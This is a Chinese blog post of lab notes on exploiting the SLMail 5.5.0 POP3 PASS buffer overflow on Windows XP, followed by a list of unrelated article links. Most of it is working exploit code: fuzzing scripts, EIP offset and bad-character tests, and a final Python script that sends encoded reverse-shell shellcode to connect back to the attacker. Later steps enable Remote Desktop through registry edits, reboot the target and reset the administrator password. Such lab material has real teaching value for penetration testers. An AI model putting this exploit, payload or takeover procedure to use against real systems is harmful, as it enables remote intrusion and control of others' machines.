Windows缓冲区溢出

前言

windows缓冲区溢出学习笔记,大佬勿喷

缓冲区溢出

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据;

成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

环境准备

本实验需要准备以下三样 + 一个windows xp系统

SLMail 5.5.0 Mail Server

ImmunityDebugger_1_85_setup.exe

mona.py

在windows xp的系统上安装准备实验环境

SLMail安装完成后查看开放端口25,110,180,8376

在win+R下输入services.msc打开服务,查看服务开启情况

全部开启证明安装成功

ImmunityDebugger安装需要python2.7环境,直接安装即可,安装完成后会自动跳出安装python2.7环境。

安装完成后将mona.py放入Immunity Debugger所在目录下的PyCommands目录中

实验环境准备完成

环境测试

关闭windows xp(ip:192.168.31.64)的防火墙或在例外中添加25端口的smtp和110端口的pop3并在高级的ICMP设置中勾选允许传入回显请求

之后在kali中就能成功ping通

然后利用nc测试25和110端口是否可以连接

这些可以输入指令的地方即可存在缓冲区溢出

实验思路

实验思路即为在这些地方构造发送各种字符,并在服务端用ImmunityDebugger进行调试程序,不同的数据被提交到110端口被pop3服务解析,然后把数据放到内存里被执行的过程,会不会发生缓冲区溢出。而SLMail 5.5.0 Mail Server的pop3服务 PASS 命令存在缓冲区溢出漏洞,可以实现对目标系统的控制,即可无需身份验证实现远程代码执行。

模糊测试——FUZZER

在此已知PASS命令后存在缓冲区溢出漏洞,因此不需要再在各个命令后测试了。如果想要造成缓冲区溢出,就需要一个足够大、足够多的数据输入到PASS命令后,当数据足够大时就有可能造成程序的崩溃或缓冲区溢出的发生。但想要输入如此大的数据,不管是手动输入还是复制粘贴都是比较笨的方法,因此需要用到脚本

测试脚本01.py,使用python2环境

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
print(data) s.send('USER administrator'+'\r\n')
data = s.recv(1024)
print(data) s.send('PASS test\r\n')
data = s.recv(1024)
print(data) s.close()
print("\nDone!") except:
print("Could not connect to POP3!")

测试结果:

测试成功后编写脚本02.py开始实验

#!/usr/bin/python
import socket buffer = ["A"]
counter = 100
while len(buffer)<=50:
buffer.append("A"*counter)
counter = counter+200 for string in buffer:
print("Fuzzing PASS with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.31.64',110))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS '+string+'\r\n')
s.send('QUIT\r\n')
s.close()

在脚本执行前到windows xp系统上打开调试工具ImmunityDebugger,File->Attach监听110端口所在PID为444的进程

此时右下角为Paused暂停阶段,首先需要让程序处于运行阶段

运行过程中调试器就能记录程序的运行状态,此时服务端准备完成,之后进去客户端kali上运行脚本02.py

当数据发送到2900 bytes时,脚本就没反应了,此时可以看到服务端的调试器也暂停了

寄存器的内容需要重点关注,因为寄存器的数据马上会交给CPU 去执行。首先我们需要关注的是寄存器里的EIP(EIP:寄存器存放下一条指令的地址),此时EIP内容为41414141,是16进制数,16进制的‘41’对应ASCII码中的‘A’,因此EIP寄存器被填满了A,而ESP、EBP都被填满了A,右下窗口里的数据也都是A。EIP寄存器存放下一条指令的地址,而此时EIP已经被缓冲区溢出的数据覆盖了原本真正的地址,下一跳指令就会跑到AAAA的地址上执行代码,而AAAA地址上不存在正确的程序代码,因此导致程序崩溃停止。

服务里的POP3服务也已经停止

重启服务并重新启动调试器监听110端口所在进程,因服务重启,所以此时PID也已改变

为避免偶然性,我们把脚本02.py中的‘A’改为’B‘,再次运行证明

可以看到此时都被填满了B

此时已经可以确定SLMail 5.5.0 Mail Server POP3 PASS 命令存在缓冲区溢出漏洞

漏洞利用

思路:找到EIP中精确溢出的 4 个字节,然后我们便可以通过控制EIP实现任意的下一跳指令的地址,从而执行各种系统命令,控制整个系统

重新打开POP3服务,启动调试器并监听运行

编写脚本03.py,寻找精确溢出的 4 个字节

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A'*2700
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print("\nDone!")
except:
print("Could not connect to POP3")

首先传入2700个字符,可以看到已经造成缓冲区溢出,接下来就需要通过不断的修改传入的字符数,找到精确溢出的 4 个字节

重新打开POP3服务,启动调试器并监听运行,此时修改脚本03.py为传入2600个字符进行测试

可以看到此时服务还是停止,造成了缓冲区溢出,但此时的EIP并不是和之前一样的4个A,说明2600个A能造成缓冲区溢出,但还不足以造成EIP寄存器的内容被修改

接着就需要在2600到2700之间找到精确溢出的 4 个字节,此时有两种方法可以使用。第一种就是二分法,通过不断取中间值找到最终结果。第二种就是唯一字符串法,通过发送2700个唯一字符,其中每四个字符为一组,每一组字符的内容都不相同,都是唯一的,此时我们就只需要看被填充到EIP里的是哪四个字符串就可以立马定位到是第几个位置的字符串被填充到EIP中,然后就可以对EIP中的数值进行精确的修改。下面我们就使用唯一字符串法

利用metasploit下的pattern_create.rb就可以生成2700个唯一字符

修改脚本03.py变成脚本04.py

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print("\nDone!")
except:
print("Could not connect to POP3")

重新打开POP3服务,启动调试器并监听运行,执行脚本04.py

此时EIP数值为39694438,因为在内存地址中是内存低地址在高位,内存高地址在低位,所以实际数值为38 44 69 39,转换为ASCII码为8Di9

然后利用metasploit下的pattern_offset.rb可以计算39694438所在2700个字符串中的位置

可以看到精确定位到位置2606,表示在8Di9前面有2606个字符

使用脚本05.py进行验证,看看能否精确写入4个B给EIP

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A'*2606+'B'*4+'C'*20
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print("\nDone!")
except:
print("Could not connect to POP3")

可以看到EIP被精确写入了4个B,而下一个指令运行地址ESP为20个C,EBP全部为A。

此时我们可以精确修改EIP中的内容。现在我们的思路就是将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器数值,将跳转到 shellcode 代码段并执行。然后我们要寻找可存放shellcode的内存空间,而ESP也是我们能够修改的,假设它能够存放一个shellcode,就能实现对系统的远程控制

下面我们假设寄存器总共能存放3500个字符,去掉前面2606个字符和EIP中4个字符,ESP能被投放890个字符。然后我们看看能有多少个字符真正到达ESP中,来判断ESP寄存器的大小,从而判断ESP寄存器能否存入shellcode代码

使用脚本06.py

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A'*2606+'B'*4+'C'*(3500-2606-4)
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print("\nDone!")
except:
print("Could not connect to POP3")

然后我们选中ESP的地址右键选择Fllow in Dump,可以看到左下角的窗口变为了ESP的数据

右键->Hex->Hex/ASCII(16 bytes)调整显示格式

可以看到C从地址0167A154开始到0167A2F4结束,总共416个字节,足以存放一个shellcode。但现在还不能直接存入一个shellcode,因为不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途。下面我们就需要找出这些坏字符,然后在注入shellcode时避免出现这些坏字符,导致shellcode无法正常执行

在POP3协议的缓冲区中,已知null byte (0x00) 空字符,用于终止字符串的拷贝操作;return (0x0D) 回车操作,表示POP3 PASS 命令输入完成,这两字符在shellcode中不能使用。但还要测试其他的坏字符。思路:发送0x00 —— 0xff 256个字符,查找所有坏字符

使用脚本07.py

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x29\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")
buffer = 'A'*2606+'B'*4+badchars
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
s.close()
print("\nDone!")
except:
print("Could not connect to POP3!")

选中ESP的地址右键选择Fllow in Dump,左下角窗口查看ESP的数据

可以看到从01到09之后的0a没有了,猜测缓冲区不能接受0a的出现,导致后面剩下的两百多个字符忽略不计,下面剔除脚本中的0a再次执行脚本,如果后面两百多个字符能够发进来,说明0a是个坏字符。将脚本07.py中的0a修改为刚才成功发送进来的字符,例如09,再次执行脚本

注意:不要忘记每次执行前都要去服务器端重启服务和调试器

可以看到0d没有了,因为被缓冲区过滤掉忽略不计了,最后的00也没有了,其它字符全部正常。说明0a、0d、00三个是坏字符

下面就需要重定向了,将EIP的数据改为ESP的地址,当执行下一跳命令时就会执行ESP中写入的shellcode。但ESP的地址是变化的,硬编码不可行,因为SLMail 是基于线程的应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定。所以我们需要变通思路,使用间接的方法,在内存中寻找地址固定的系统模块,系统模块中有大量的指令,在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode,然后我们的EIP中就存放那个内存地址固定不变的系统模块中JMP ESP指令的地址。总体思路就是我们在EIP中存放JMP ESP指令的地址,再由这个指令跳到ESP,执行ESP中的内容。

要想找到这个地址固定的系统模块,就需要使用到mona.py的脚本。

在最下方的方框中执行mona脚本,输入!mona modules查找系统中正在运行的所有模块

我们首先看它的Rebase列,Rebase表示操作系统重启后内存是否发生变化,我们要找False不发生变化的,但此时还有很多,我们接着看后面三列,这三列都是操作系统内存的保护机制,因此我们最好要寻找不受任何操作系统所保护的模块,这三列也都要为False,而OS Dll这列需要为True的,因为我们需要每个操作系统都有且自带的库,然后我们就能筛掉很多了

可以看到第一个符合要求的模块,然后我们查找这个模块中是否存在JMP ESP的指令,如果没有我们也就利用不了这个模块

首先我们需要确定JMP ESP汇编指令所对应的二进制,使用kali metasploit下的nasm_shell.rb进行汇编语言到二进制的转换

可以看到JMP ESP对应的十六进制是FFE4

然后使用!mona find -s "\xff\xe4" -m openc32.dll查找

没有找到,说明该模块中不存在JMP ESP的指令,尝试下一个符合要求的模块

可以看到找到了19个,我们先双击第一个看看

此时左下角的窗口为十六进制的表示,右键选择Disassemble改为汇编语言的表示

再双击看看第二个,发现都没问题,看起来都能够使用

那我们先记住此模块的基地址为5f400000

然后打开工具栏里的内存地图

可以看到这是个PE的执行程序头,text段是个code代码。因为SLMail是不支持DEP(DEP:阻止代码从数据页被执行)和ASLR(ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化)的内存保护机制的,因此我们可以19个地址中随便选一个进行跳转。如果这个程序支持DEP,那么Map中Access列的权限必须为R E,否则受DEP保护将不能正确执行跳转。

那么我们就选第二个地址5F4B41E3了

在这个地址上设置断点,右键选择Breakpoint->Memory on access,只要访问到这个地址就中断

然后我们开始运行这个程序

设置断点为了让python的脚本向程序发送溢出的代码,看溢出的代码在跑到这个断点时是否被正确的跳转,验证它能否真正实现跳转

使用脚本08.py

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A'*2606+"\xe3\x41\x4b\x5f"+'C'*390
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print("\nDone!")
except:
print("Could not connect to POP3")

发现程序已经停在了地址5F4B41E3上,EIP中的数据也为5F4B41E3,此时按F7向前执行一步看看

可以看到左上角窗口已经跳转到了地址0167A154,这个地址也就是ESP的地址。此时我们已经实现了对EIP的修改,也实现了它跳转到ESP,下一步就需要将ESP中的C替换为真正的shellcode

使用kali /usr/share/framework2下的msfpayload来生成shellcode,我们可以先./msfpayload -l看看有哪些shellcode

里面有很多,可以生成各种系统上的shellcode

我们使用命令 ./msfpayload win32_reverse LHOST=192.168.31.115 LPORT=444 C 生成shellcode,如果服务端执行这个shellcode就会反向连接到我们的kali上,这里的ip和端口为kali的ip

但还有个问题需要注意,那就是不能有00、0a、0d三个坏字符

很不幸,其中包含坏字符0d,那么这个shellcode我们就不能使用

使用同目录下的msfencode工具进行编码,过滤掉坏字符,使用命令 ./msfpayload win32_reverse LHOST=192.168.31.115 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"

因为需要进行编码,所有使用R为原始数据,C只能用来查看

再次验证发现不存在坏字符,即为我们想要的shellcode

使用脚本09.py

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x13\xd7\x88"+
"\xcd\x83\xeb\xfc\xe2\xf4\xef\xbd\x63\x80\xfb\x2e\x77\x32\xec\xb7"+
"\x03\xa1\x37\xf3\x03\x88\x2f\x5c\xf4\xc8\x6b\xd6\x67\x46\x5c\xcf"+
"\x03\x92\x33\xd6\x63\x84\x98\xe3\x03\xcc\xfd\xe6\x48\x54\xbf\x53"+
"\x48\xb9\x14\x16\x42\xc0\x12\x15\x63\x39\x28\x83\xac\xe5\x66\x32"+
"\x03\x92\x37\xd6\x63\xab\x98\xdb\xc3\x46\x4c\xcb\x89\x26\x10\xfb"+
"\x03\x44\x7f\xf3\x94\xac\xd0\xe6\x53\xa9\x98\x94\xb8\x46\x53\xdb"+
"\x03\xbd\x0f\x7a\x03\x8d\x1b\x89\xe0\x43\x5d\xd9\x64\x9d\xec\x01"+
"\xee\x9e\x75\xbf\xbb\xff\x7b\xa0\xfb\xff\x4c\x83\x77\x1d\x7b\x1c"+
"\x65\x31\x28\x87\x77\x1b\x4c\x5e\x6d\xab\x92\x3a\x80\xcf\x46\xbd"+
"\x8a\x32\xc3\xbf\x51\xc4\xe6\x7a\xdf\x32\xc5\x84\xdb\x9e\x40\x94"+
"\xdb\x8e\x40\x28\x58\xa5\xd3\x7f\x97\xbe\x75\xbf\x89\x71\x75\x84"+
"\x01\x2c\x86\xbf\x64\x34\xb9\xb7\xdf\x32\xc5\xbd\x98\x9c\x46\x28"+
"\x58\xab\x79\xb3\xee\xa5\x70\xba\xe2\x9d\x4a\xfe\x44\x44\xf4\xbd"+
"\xcc\x44\xf1\xe6\x48\x3e\xb9\x42\x01\x30\xed\x95\xa5\x33\x51\xfb"+
"\x05\xb7\x2b\x7c\x23\x66\x7b\xa5\x76\x7e\x05\x28\xfd\xe5\xec\x01"+
"\xd3\x9a\x41\x86\xd9\x9c\x79\xd6\xd9\x9c\x46\x86\x77\x1d\x7b\x7a"+
"\x51\xc8\xdd\x84\x77\x1b\x79\x28\x77\xfa\xec\x07\xe0\x2a\x6a\x11"+
"\xf1\x32\x66\xd3\x77\x1b\xec\xa0\x74\x32\xc3\xbf\x78\x47\x17\x88"+
"\xdb\x32\xc5\x28\x58\xcd") buffer = 'A'*2606+"\xe3\x41\x4b\x5f"+"\x90"*8+shellcode
try:
print("\nSending evil buffer...")
s.connect(('192.168.31.64',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.recv(1024)
s.send('PASS '+buffer+'\r\n')
print("\nDone!")
except:
print("Could not connect to POP3")

脚本先向ESP发的8个\x90,在汇编语言中代表nop,nop表示不操作,这是为了shellcode运行的有效性,如果不加,在EIP跳转过来紧接着执行shellcode,在CPU进行解析时可能导致前几个字节被覆盖,为了避免异常情况的产生,所以加上一段nop

在脚本执行前,首先需要在kali本地监听shellcode反弹回连的444端口

此时在服务端就没必要开调试工具了,只要保证服务的开启即可

执行脚本后可以看到已经取得了服务端的shell,现在已经进入了它邮件服务器所在的目录里

可以看到目标机器上C盘下的文件

此时我们退出444端口的监听,再重新监听并发送脚本又能拿到目标机器的shell,但是经常会出现一种异常情况,Shellcode执行结束后以 ExitProcess 方式退出整个进程,将导致邮件服务崩溃。Slmail是一个基于线程的应用,使用ExitThread方式可以避免整个服务崩溃,可实现重复溢出。只要在命令中加入EXITFUNC=thread即可。修改命令为 ./msfpayload win32_reverse LHOST=192.168.31.115 EXITFUNC=thread LPORT=444 R | ./msfencode -b “\x00\x0a\x0d”

现在是命令行的方式控制目标机器,我们可以通过命令行打开目标机器的远程桌面,得到图形化的方式控制目标机器

可以看到此时目标机器的远程桌面是没有打开的,下面我们通过命令行修改注册表的方式打开远程桌面

执行以下的一系列命令

echo Windows Registry Editor Version 5.00>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

然后查看目标机器的远程桌面是否开启

发现还没开启,那么我们通过shutdown -r -t 0来使目标机器立即重启

重启后发现远程桌面的服务已被开启

在kali下安装rdesktop的工具

此时我们就可以通过rdesktop打开远程桌面

账号密码我们可以通过shell远程进行添加或修改,这里我修改它的默认账号的密码进行登录,此时因为目标机器被我们重启了,所以需要重新执行脚本获取shell

修改管理员账号为123,下面尝试远程连接

成功连上目标机器,这里我在一开始是关闭了目标机器上的防火墙的,如果没有关闭的话,还需要通过shell使用注册表打开目标机器防火墙上的3389端口。可以通过regsnap的工具监视注册表,找到打开防火墙上3389端口的具体键值

windows缓冲区溢出实验到此结束

补充:后漏洞利用阶段

因本次实验所写博客篇幅过长,后续内容另起了一篇。下篇为后漏洞利用阶段

最新文章

  1. react 写的省市三级联动
  2. wifi-mac
  3. 一个PHP日历程序
  4. 我的css释疑-float line-height inline-block vertical-align
  5. 13.第一个只出现一次的字符[FindFirstNotRepeatingChar]
  6. js获取select字段值的方法
  7. Shell’s Sort
  8. html5--indexedDB
  9. Node.js小Httpserver
  10. TCP和UDP的区别(转)
  11. Inno Setup设定只运行一个安装包
  12. CDOJ 631 敢说敢做 记忆化搜索and动规
  13. kubuntu/ubuntu下安装fcitx输入法
  14. Java 覆盖测试工具 :EclEmma
  15. visio ppt axure AI svg powerdesign xmind
  16. Centos6.8安装zabbix-3.2.6
  17. Node.js 常用工具util
  18. python之路---06 小数据池 编码
  19. Rabbitmq(3) work queues
  20. Linear Regression总结

热门文章

  1. VideoPipe可视化视频结构化框架开源了!
  2. 3.ElasticSearch系列之Docker本地部署
  3. 我的Vue之旅 06 超详细、仿 itch.io 主页设计(Mobile)
  4. 通过URL保存文件
  5. Spring中过滤器(Filter)和拦截器(Interceptor)的区别和联系
  6. 虚拟机里网络连接的几种方式说明(桥接,NAT, 仅主机)
  7. CF39H
  8. .NET性能系列文章二:Newtonsoft.Json vs. System.Text.Json
  9. Druid SQL注入防御模块技术浅析
  10. Springboot结构梳理